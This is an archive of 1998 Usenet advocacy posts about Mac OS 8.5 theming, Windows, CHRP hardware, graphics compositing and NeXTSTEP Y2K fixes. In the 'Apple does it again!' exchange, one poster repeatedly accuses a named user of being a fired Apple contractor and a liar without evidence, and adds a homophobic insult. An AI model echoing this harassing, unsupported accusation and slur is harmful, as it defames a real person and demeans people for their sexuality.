If you have Mac OS 8.5 installed on your machine, Kaleidoscope uses the
Appearance APIs? Fully?
Will any current Kaleidoscope themes work or do they need to be rewritten?
Which version of Kaleidoscope is needed? Do you need beta testers?
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net> <82HI1.1591$2s.1694532@newsfeed.slurp.net> <andyba-ya02408000R1009981052140001@news> <fe6K1.323$D%1.403779@newsfeed.slurp.net> <andyba-ya02408000R1109980923180001@news> <6tbr11$h9i$1@plo.sierra.com> <smileyy-1109981540100001@192.168.0.2> <6tc54g$kj0$1@plo.sierra.com>
Subject: Re: What we need from Mac OSuX
Message-ID: <TiuK1.1164$D%1.1461501@newsfeed.slurp.net>
Date: Sat, 12 Sep 1998 13:03:47 GMT
NNTP-Posting-Date: Sat, 12 Sep 1998 06:03:47 PDT
Organization: Slurp News Feeds
Earl Malmrose wrote in message <6tc54g$kj0$1@plo.sierra.com>...
>Sort of. You drag the "web site" folder back out, grab the files you want,
>then put the "web site" folder back in the trash. Not perfect, but not a
big
>deal at all. Such a small deal, that myself and others didn't even notice
>that you couldn't open the folder in the trash.
That's exactly what happened. I wasn't even aware that you couldn't open a
folder in the Recycle Bin until he brought it up and I tried it. Never the
less... I guess it would be a nice addition if MS adds that feature. I bet
they will.
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net> <82HI1.1591$2s.1694532@newsfeed.slurp.net> <andyba-ya02408000R1009981052140001@news> <fe6K1.323$D%1.403779@newsfeed.slurp.net> <andyba-ya02408000R1109980923180001@news> <35f98826.58068014@newshost.cc.utexas.edu> <6tcvpr$rs0$1@news5.ispnews.com>
Subject: Re: What we need from Mac OSuX
Message-ID: <UiuK1.1165$D%1.1461501@newsfeed.slurp.net>
Date: Sat, 12 Sep 1998 13:03:48 GMT
NNTP-Posting-Date: Sat, 12 Sep 1998 06:03:48 PDT
Organization: Slurp News Feeds
Earl Malmrose wrote in message <6tcvpr$rs0$1@news5.ispnews.com>...
>Ben Turner wrote in message <35f98826.58068014@newshost.cc.utexas.edu>...
>>Um. I'm not really following this thread, but...
>>
>>I'm using Win95. When I delete a folder that contains subfolders, all
>>the files are listed individually in the Recycle Bin, not just as one
>>folder.
>
>I only have Win98 installed, but it shows folders in the Recycle Bin as
>folders. Somewhere between the first Win95 and Win98 that must have
changed.
Yeah... In Win95 or NT 4.0 it shows all the files "without" their folders.
If you restore a file, it restores "with" it's original folder/s.
If you have IE 4 installed on either Win95 or NT 4.0, you see the folders
you dragged to the Recycle Bin, in the Recycle Bin. Same with Win98.
Dan
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: another prediction...
Date: 13 Sep 1998 17:32:19 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6tgvj3$ns7@newsb.netnews.att.com>
References: <6temub$s5k$4@ironhorse.plsys.co.uk>
Originator: gupta@tlctest
Prescient, that's the only word for it !
I wonder if Henry McGilton gives stock tips ? :-)
-arun gupta
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>I had a quick look through the thread on "a prediction" but couldn't see
>anything (apologies if I missed it) pertaining to this bit of crystal ball
>gazing by one of csna's occasional visitors, Henry McGilton, who on
>1997/07/19 <33D0FA15.3FD@trilithon.com> foretold:
>
>> At some point in the near future (say before the year 2000) Sun will be
>> forced to port NT, but will put all kinds of clever marketing spins on the
>> issue, claiming that they'll support NT because it's a ``standard'' (a
>> euphemism for a monopoly) and that Sun are a ``standards kind of guys''
>> company (just like the time they had a Presentation Manager project going
>> for a while). I'll nominate Greg Anderson as the bloke to keep this
>> prediction in a sealed envelope with an ``Open the Envelope When Sun
>> Announces NT port''. Sun will be the one of the last if not the last to
>> port NT --- I reckon SGI will blink before Sun do.
>>
>Given that SGI have already blinked, and now
> "SUN MAKES NT OVERTURES"
> http://www.zdnet.com/anchordesk/story/story_2526.html
>I reckon Greg ought to keep that envelope handy...
>
>Best wishes,
>
>mmalc.
>
From: CJH <ifmtrx@inficad.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sun, 13 Sep 1998 11:20:38 +0000
Organization: Informatrix, Inc.
Message-ID: <35FBAA84.F5B8CE84@inficad.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com> <6tgmn9$jmh$1@bunyip.cc.uq.edu.au>
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Christopher Smith wrote:
> >Insisting over and over that a car is like a computer, just because
> >you like the analogy, regardless of how many times it is pointed out
> >how stupid the analogy is, is....
> >
> >not smart.
>
> In many ways they are similar. In many ways they *should* be similar.
My operational needs for both are similar... perform their functions WITHOUT
requiring frequent attention in their design, construction and maintenance!
For those who have the time and enjoy "tinkering," both offer tremendous
enjoyment! A cab driver doesn't want or have time to be a mechanic!
CJH
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Christopher Smith wrote:
<BLOCKQUOTE TYPE=CITE>>Insisting over and over that a car is like a computer,
just because
<BR>>you like the analogy, regardless of how many times it is pointed out
<BR>>how stupid the analogy is, is....
<BR>>
<BR>>not smart.
<P>In many ways they are similar. In many ways they *should* be similar.</BLOCKQUOTE>
My operational needs for both are similar... perform their functions WITHOUT
requiring frequent attention in their design, construction and maintenance!
For those who have the time and enjoy "tinkering," both offer tremendous
enjoyment! A cab driver doesn't want or have time to be a mechanic!
<BR>
<P>CJH
<BR>
<BR> </HTML>
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From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 11 Sep 1998 20:11:48 -0400
Organization: MIT AI Lab
Sender: portnoy@kit.ai.mit.edu
Message-ID: <us5n286196j.fsf@kit.ai.mit.edu>
References: <Ez2qB4.BxE@T-FCN.Net> <B21DD682-B005@206.165.43.189>
"Lawson English" <english@primenet.com> writes:
> What GX does is to apply a color transform to the source, a second to the
> destination, then combine the two pixels with transfer modes defined
> seperately for each color channel and apply a 3rd color transform to the
> result (the composite). There's some extra goodies, such as the ability to
> swap the position of the source and destination colors in the pipeline or
> limit the color range for each color channel.
>
> It sounds to me like you'd have to split the NSCompositing system into
> three stages to achieve the same result.
Why? It sounds like GX takes a source pixel and a destination pixel,
gets their color values, plops the color values through a (granted,
fairly sophisticated) function which returns another color value, and
it then writes that color value to the destination pixel.
It sounds like the NSCompositing system takes a source pixel and a
destination pixel, gets their color values, plops the color values
through a (granted, fairly simple) function which returns another
color value, and it then writes that color value to the destination
pixel.
What am I missing here? I agree that NSCompositing should be extended
to allow the user more control over the composition function, but
there doesn't appear to be anything that would *require* multiple
passes over the image.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <forrestDELETE-THIS!-1109980100490001@term1-27.vta.west.net> <B21EE1E9-31A60@209.109.224.169> <arlo-1109981643450001@cm40133.cableco-op.com> <joe.ragosta-1209980639080001@elk79.dol.net>
Subject: Re: Appearance and Themes (was: Re: bummer of os 8.5 gm)
Message-ID: <MwtK1.5375$KK4.12768704@news.san.rr.com>
Date: Sat, 12 Sep 1998 12:10:20 GMT
NNTP-Posting-Date: Sat, 12 Sep 1998 05:10:20 PDT
Organization: TWC Road Runner, San Diego, CA
Joe Ragosta wrote in message ...
>In article <arlo-1109981643450001@cm40133.cableco-op.com>,
>arlo@rcontinuum.com (Arlo Rose) wrote:
>>
>> If you want switchable appearances under 8.5 with almost no patching,
look
>> for the next release of Kaleidoscope. Our 8.5 engine runs straight off
the
>> Appearance 1.1 APIs.
>>
>Let me make sure I understand this.
>
>If you have Mac OS 8.5 installed on your machine, Kaleidoscope uses the
>Appearance APIs? Fully?
AFAIK, they are used on any system with Appearance installed (7.x-8.x) where
applicable, however, K continues to go beyond Apple's efforts by patching
certain applications which leads to a more consistant look across the system
even with non-Appearance savvy applications. Neither Appearance nor K can
patch all applications to take on the current theme look-and-feel.
>Will any current Kaleidoscope themes work or do they need to be rewritten?
You'll only need an upcoming update to Kaleidoscope. No change in the
Kaleidoscope schemes are needed although presumably new 8.5-resources will
be supported with the update such as the application menu 'grip'.
>Which version of Kaleidoscope is needed? Do you need beta testers?
A coming update to K 2.0...all this is from schemelist, the official K
mailing list.
--Ed.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 13 Sep 1998 17:51:12 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6th0mg$nst@newsb.netnews.att.com>
References: <heaney-0509981648590001@24.0.246.137> <35F7657E.C56E76A9@nstar.net> <6tbqcu$ubt$ <6tf367$6en$1@nnrp3.snfc21.pbi.net>
Originator: gupta@tlctest
William Edward Woody <woody@alumni.caltech.edu> wrote:
[an excellent essay, in my opinion, on the reigning confusion
that equates "doing your job better" and "handling better the computer
tools that may be relevant to your job", which are not the same.
Taking the liberty of quoting only a couple of sentences : ]
>That's because ultimately the computer interface [often] destroys
>creativity by requiring computer users to focus on the
>software interface instead of the design.
Amen to that ! (The [often] is my interpolation, to, I hope
avoid starting another argument.)
>Instead, I believe we need to identify the places where
>computers best serve as tools and create easy and transparent
>interfaces so that novice users can use them without
>having to invest a lot of learning time adopting to the
>computer. That is, the computer needs to adopt to the user,
>and not the other way around.
The novice user often may be an expert in some other area of
endeavor.
***
Ultimately, division of labor works best. People proficient in
computerese may find CLIs very useful in the process of developing
transparent interfaces for people who need to use computers and
whose chief interest lies elsewhere. In some cases it might
turn out that the CLI is the best interface for the second class
of people; but less often than not.
-arun gupta
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: Apple does it again!
From: guess@it.spammer (Cybernaught)
Message-ID: <1df8ehp.1vdfs4g1wfsl5qN@pppsl889.chicagonet.net>
References: <1dev43i.1tkqj9r5ejjfdN@pppsl868.chicagonet.net> <6sr8ic$lb1@web.nmti.com> <1dex6g7.zgmaey1mk8xvkN@pppsl974.chicagonet.net> <macghod-0609981243590001@sdn-ar-001casbarp298.dialsprint.net> <1deyxtg.91nx691yqh8xsN@pppsl816.chicagonet.net> <macghod-0709981249470001@sdn-ar-002casbarp275.dialsprint.net> <1df2729.t4i6e418xegi5N@pppsl1026.chicagonet.net> <macghod-0809982340190001@sdn-ar-001casbarp116.dialsprint.net>
NNTP-Posting-Date: Sat, 12 Sep 1998 08:41:07 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 12 Sep 1998 07:40:18 -0500
Steve Sullivan <macghod@concentric.net> wrote:
> In article <1df2729.t4i6e418xegi5N@pppsl1026.chicagonet.net>,
> guess@it.spammer (Cybernaught) wrote:
>
> > So why haven't you kill filed me? You said you're were going to do it.
> > How long are you going to be in denial? Jay nailed you. You might as
> > well just tell everyone why Apple fired you.
>
> Actually I did kill file you but then removed it. And how did Jay nail
> me? He claimed that I live in washington and that I was fired from Apple,
> both are false.
>
> I am curious too, you unix users (jason s? Sal?). Jay Riley and
> "cybernought" are lamely saying they nailed me that I live in the state of
> washington, by using whatroute. How would this show that I live in
> washington? I asked "Cybernought" how this would show this, and he
> refused to say (I assume he had no clue so he gave some lame reason why he
> wouldnt explain)
>
>
>
> > >
> > > I remember the
> > > > problems that one gave you. And then you where putting the CDs in
> > > > upside-down, or something like that, and it kept you from installing
> > > > NeXT right.
>
> Yet another lie from "Cybernought".
>
> > >
> > > No, the cd was defective. Physically defective, had a big scratch on the
> > > bottom of the cd. How many people would inspect the bottom of the cd?
> >
> > Yet you proclaimed NeXTStep to be "a hundred times better" than the Mac
> > OS. How did you make that determination from a CD that could have
> > never installed the OS properly?
>
> True. THAT cd could never install the os. How you can conclude I never
> got it installed shows your great mental prowess.
>
>
> >
> > Lots of people look at the bottoms of the CDs, by the way. I do, and
> > I've seen many others do it.
>
> Ok. I believe you. It happened that it took me several weeks to examine
> the underside of the cd. If you want to berate me for this, feel fine to
> do so.
>
>
>
> > > > So just why did Apple fire you? Was it due to incompetence?
> > >
> > >
> > > As you have been told numerous times, I was never fired from Apple. So
> > > why do you constantly keep telling this lie?
> >
> > Give it up, Steve. You've been nailed on this. You may as well spill
> > the beans.
>
> Really? How was I nailed? Jay RIley made a false statement. Actually he
> made TWO false statements. So Mr Cybernought, please tell us what the
> evidence is that I live in the state of washington, and that I was fired
> from Apple.
The evidence that you were fired by Apple is clear. When Jay posted
that information, you gave an intense reaction to his claim that you
live in Washington, but completely ignored his claim that you are a
fired Apple contractor. The state that you live in is a trivial
matter, a non-issue, but being fired as an Apple contractor is a serious
charge. Yet you ignored the serious, and focused on the trivial.
Therefore you hoped to distract others from the real, serious issue.
In addition, although you have claimed to be a student, you also claimed
to have owned around a dozen different Macs. What person who is not in
business has that many Macs?
Why don't you come out of denial and tell us why Apple fired you?
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sat, 12 Sep 1998 12:10:47 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1209981210470001@jchristie.halifaxcable.dal.ca>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com>
What does a search in *.job.* turn up for COBOL?
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: Apple does it again!
From: guess@it.spammer (Cybernaught)
Message-ID: <1dfb0k2.13xyl2zjvqy16N@pppsl1035.chicagonet.net>
References: <1dev43i.1tkqj9r5ejjfdN@pppsl868.chicagonet.net> <6sr8ic$lb1@web.nmti.com> <1dex6g7.zgmaey1mk8xvkN@pppsl974.chicagonet.net> <macghod-0609981243590001@sdn-ar-001casbarp298.dialsprint.net> <1deyxtg.91nx691yqh8xsN@pppsl816.chicagonet.net> <macghod-0709981249470001@sdn-ar-002casbarp275.dialsprint.net> <1df2729.t4i6e418xegi5N@pppsl1026.chicagonet.net> <macghod-0809982340190001@sdn-ar-001casbarp116.dialsprint.net> <1df8ehp.1vdfs4g1wfsl5qN@pppsl889.chicagonet.net> <35fe248d.7800286@news2.new-york.net> <macghod-1209982122420001@sdn-ar-002casbarp281.dialsprint.net>
NNTP-Posting-Date: Sun, 13 Sep 1998 15:30:55 PDT
Organization: ISPNews http://ispnews.com
Date: Sun, 13 Sep 1998 17:30:06 -0500
Steve Sullivan <macghod@concentric.net> wrote:
> In article <35fe248d.7800286@news2.new-york.net>, see.sig@for.address wrote:
>
> > >The evidence that you were fired by Apple is clear. When Jay posted
> > >that information, you gave an intense reaction to his claim that you
> > >live in Washington, but completely ignored his claim that you are a
> > >fired Apple contractor.
>
> And this is a lie! On the SAME DAY Jay made this claim I explicitly
> stated that it was untrue.
You had to go back to look at what you said. You asked me several
times since then to tell you who had told me that Apple fired you. You
must be having memory problems again. You can't keep track of your lies
any more. Give it up. Tell us why Apple fired you.
>
> > The state that you live in is a trivial
> > >matter, a non-issue, but being fired as an Apple contractor is a serious
> > >charge. Yet you ignored the serious, and focused on the trivial.
> > >Therefore you hoped to distract others from the real, serious issue.
> >
> > In other words: you have no evidence. Give it a rest, Anton.
>
> Not only that, but he is also FlAT OUT LIEING.
Really? How does one go about FIAT OUT LIEING? Is that English?
> I did not ignore the
> serious. On the same day he posted that I flat out said it was
> incorrect.
And asked who told me that afterwards. Why did you ask if you knew?
> In fact I probably said it more than once.
With your faulty memory, you have no way to keep track of your bogus
stories.
> I know for a fact
> I said it was WRONG several times within a few days after he posted that
> (and you kept on repeating the slanderous lie). For instance,
> http://x9.dejanews.com/getdoc.xp?AN=386109925&CONTEXT=905660183.887947320&
> hitnum=2
>
> In article <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net>,
> guess@it.spammer (Cybernaught) wrote:
>
> > > OH, he posts 3 things in that article which are all false, and you think
> > > he nailed me? I have never lived in washington, I was never fired from
> > > apple, and he has various times said imacs are faster than p2 400's, which
> > > only occurs in his dreams.
> >
> > I said that he nailed you on the first two, and I asked why you threw in
> > the third. You mentioned the P2 400's, not Jay. Of course the reason
> > that you did it is obvious. You want to divert attention away from the
> > way that Jay nailed you.
>
> Except for the fact that
> 1) I DONT live in washington (DUH!!)
> 2) I wasnt fired from apple.
>
> SO I guess he did nail me, except for the fact that everything he said was
> false
>
> <end paste>
Sure, let's forget all the other threads where I asked why you didn't
address the issue, with no response from you, and where you asked me
where I got that information.
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: Apple does it again!
From: guess@it.spammer (Cybernaught)
Message-ID: <1dfb0wl.15gsnwy3pwyzrN@pppsl1035.chicagonet.net>
References: <1dev43i.1tkqj9r5ejjfdN@pppsl868.chicagonet.net> <6sr8ic$lb1@web.nmti.com> <1dex6g7.zgmaey1mk8xvkN@pppsl974.chicagonet.net> <macghod-0609981243590001@sdn-ar-001casbarp298.dialsprint.net> <1deyxtg.91nx691yqh8xsN@pppsl816.chicagonet.net> <macghod-0709981249470001@sdn-ar-002casbarp275.dialsprint.net> <1df2729.t4i6e418xegi5N@pppsl1026.chicagonet.net> <macghod-0809982340190001@sdn-ar-001casbarp116.dialsprint.net> <1df8ehp.1vdfs4g1wfsl5qN@pppsl889.chicagonet.net> <macghod-1209982029250001@sdn-ar-001casbarp057.dialsprint.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
NNTP-Posting-Date: Sun, 13 Sep 1998 15:30:58 PDT
Organization: ISPNews http://ispnews.com
Date: Sun, 13 Sep 1998 17:30:08 -0500
Steve Sullivan <macghod@concentric.net> wrote:
> In article <1df8ehp.1vdfs4g1wfsl5qN@pppsl889.chicagonet.net>,
> guess@it.spammer (Cybernaught) wrote:
>
> > The evidence that you were fired by Apple is clear. When Jay posted
> > that information, you gave an intense reaction to his claim that you
> > live in Washington, but completely ignored his claim that you are a
> > fired Apple contractor. The state that you live in is a trivial
> > matter, a non-issue, but being fired as an Apple contractor is a serious
> > charge. Yet you ignored the serious, and focused on the trivial.
> > Therefore you hoped to distract others from the real, serious issue.
>
>
> You lie. And I bet you cant show these posts where I ignored this. Here
> is one many posts where I told him the validity of his claim:
>
> (http://x9.dejanews.com/getdoc.xp?AN=386109925&CONTEXT=905656684.8070103
> 21&hitnum=2)
You can't fight it or deflect it no matter what you do, and the louder
and angrier you become, the more obvious it becomes that it is true that
you were fired as an Apple contractor. You see, there is really no
shame in being fired as an Apple contractor. Apple eliminated many of
their contractors when they down-sized. Of course someone who was
fired for another reason wouldn't know this. They'd fight tooth and
nail to keep their humiliation a secret, as you have. So give up, and
tell us why Apple fired you.
>
> Email:
> macghod@concentric.net
> Date:
> 1998/08/30
> Forums:
> comp.os.mac.advocacy, comp.sys.mac.advocacy,
> comp.sys.next.advocacy,
> comp.sys.powerpc.advocacy
> view for bookmarking · text only
>
>
> In article <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net>,
> guess@it.spammer (Cybernaught) wrote:
>
> > > OH, he posts 3 things in that article which are all false, and you think
> > > he nailed me? I have never lived in washington, I was never fired from
> > > apple, and he has various times said imacs are faster than p2 400's, which
> > > only occurs in his dreams.
> >
> > I said that he nailed you on the first two, and I asked why you threw in
> > the third. You mentioned the P2 400's, not Jay. Of course the reason
> > that you did it is obvious. You want to divert attention away from the
> > way that Jay nailed you.
>
> Except for the fact that
> 1) I DONT live in washington (DUH!!)
> 2) I wasnt fired from apple.
>
> SO I guess he did nail me, except for the fact that everything he said was
> false
>
>
> (end repost of 8/30 post)
You asked me after that "who told you that?" afterwards. Are you going
to deny that you did? Are you a lying SOB.? I can spell, unlike
Steve.
>
> Everyone can see a full TWO WEEKS ago that I explicitly said the claim was
> false, and you clearly saw it, since you replied to it. So now when you
> say I ignored the claim, we all know what a lieing sob you are.
What's a lieing sob? Is that a sob story from someone who can't spell?
> This was THE SAME DAY Jay made the claim, and everyone can see that I
> EXPLICITLY stated that I wasnt fired from Apple.
Then why did you ask me who told me that you were fired by Apple?
>
> > In addition, although you have claimed to be a student, you also claimed
> > to have owned around a dozen different Macs. What person who is not in
> > business has that many Macs?
> >
> > Why don't you come out of denial and tell us why Apple fired you?
>
> You are such a pathetic liar. I have already posted EIGHT of my previous
> posts where I told Jay he was WRONG about my being fired from Apple.
> EVERY SINGLE POST on this subject I have told him he was wrong. I posted
> my post ON THE SAME DAY JAY POSTED THAT where I told him he was wrong.
> Try to show a post where I talked about the state and IGNORED his claim
> that I was fired from Apple, YOU WONT. You Lie when you say I "
> completely ignored his claim that you are a
> fired Apple contractor". If you had half a clue you would see that in NO
> POST that I talked about washington I IGNORED apple.
You asked me who told me that Apple fired you in several posts since
that day. If you knew it was Jay's post, and you'd already denied it,
why did you ask who told me?
How and why did you own at least a dozen different Mac models? Either
you lied about that, or you're lying about being a fired Apple
contractor. Which is it?
Once again Steve has included NeXT advocacy in this. His gay
lover/protector must be in that group.
Date: Sun, 13 Sep 1998 16:02:14 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1309981602150001@elk75.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <no-spam-1209981733180001@10.0.1.99> <joe.ragosta-1209981833280001@elk75.dol.net> <no-spam-1209981938180001@10.0.1.99> <joe.ragosta-1209982125480001@elk48.dol.net> <6tgogi$703$1@hecate.umd.edu>
In article <6tgogi$703$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
> : In article <no-spam-1209981938180001@10.0.1.99>, no-spam@one.net
> : (MojiDoji) wrote:
>
> : > Sure it will. Pios manufactures full CHRP systems. LinuxPPC.org sells
> : > CHRP machines. Not to mention what you can put together yourself. CHRP
> : > isn't dead, Apple just doesn't want to freak out the Mac users by
> : > introducing something that won't affect what they do.
> : >
>
> : I forgot about PIOS. As for LinuxPPC.org, I wasn't aware that they were
> : selling CHRP machines. Do you have a URL?
>
> : But you can't buy a motherboard anywhere that I know of.
>
> : BTW, even if you can buy a computer that meets the CHRP spec from PIOS,
> : CHRP is still dead. None of the major OSs will run on it.
>
> I'm under the opposite impression. CHRP, being the superset of PREP,
> will run WinNT 4.0, Solaris 2.5 and AIX.
Possibly. But since none of these OSs is being supported any more for PREP
or CHRP systems, it's a moot point.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Followup-To: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 13 Sep 1998 22:07:00 GMT
Organization: University of Maryland, College Park
Message-ID: <6thfm4$bfj$2@hecate.umd.edu>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: > Joe Ragosta (joe.ragosta@dol.net) wrote:
: > : In article <no-spam-1209981938180001@10.0.1.99>, no-spam@one.net
: > : (MojiDoji) wrote:
: >
: > : > Sure it will. Pios manufactures full CHRP systems. LinuxPPC.org sells
: > : > CHRP machines. Not to mention what you can put together yourself. CHRP
: > : > isn't dead, Apple just doesn't want to freak out the Mac users by
: > : > introducing something that won't affect what they do.
: >
: > : I forgot about PIOS. As for LinuxPPC.org, I wasn't aware that they were
: > : selling CHRP machines. Do you have a URL?
: >
: > : But you can't buy a motherboard anywhere that I know of.
: >
: > : BTW, even if you can buy a computer that meets the CHRP spec from PIOS,
: > : CHRP is still dead. None of the major OSs will run on it.
: >
: > I'm under the opposite impression. CHRP, being the superset of PREP,
: > will run WinNT 4.0, Solaris 2.5 and AIX.
: Possibly. But since none of these OSs is being supported any more for PREP
: or CHRP systems, it's a moot point.
They are being supported. What you mean is no more future versions are
forth coming, which would be correct, but "not supported", and "does not
run" would be incorrect.
: --
: Regards,
: Joe Ragosta
: See the Complete Macintosh Page at its new location:
: http://www.taylor-design.com/cMacindex.html
From: luomat@peak.org.this.all.must.be.removed (TjL)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple says NEXTSTEP 3.3 **NOT** Year 2K compliant
Date: 14 Sep 1998 00:07:01 GMT
Organization: Florida Digital Turnpike
Message-ID: <6thmn5$cqg@obi-wan.fdt.net>
References: <35F00B0B.276F5E89@NOSPAMREMOVETHISisomedia.com> <6spskt$nrs$1@news.seicom.net>
<distler-1309981419370001@192.168.0.1>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: distler@golem.ph.utexas.edu
In <distler-1309981419370001@192.168.0.1> Jacques Distler wrote:
> Note to administrators of Peak & Peanuts: Perhaps a separate directory of
> Y2K fixes would be appropriate. That will make it a lot easier for folks
> to move their system towards compliance.
As of today there is only one such fix that I know of.
If more come about, then putting them into such a folder might make sense.
Right now there really isn't enough there to justify it.
TjL
--
Spam-altered address in effect, remove obvious portion if
replying by email.
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 13 Sep 1998 23:22:58 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6thk4i$rn8$2@news00.btx.dtag.de>
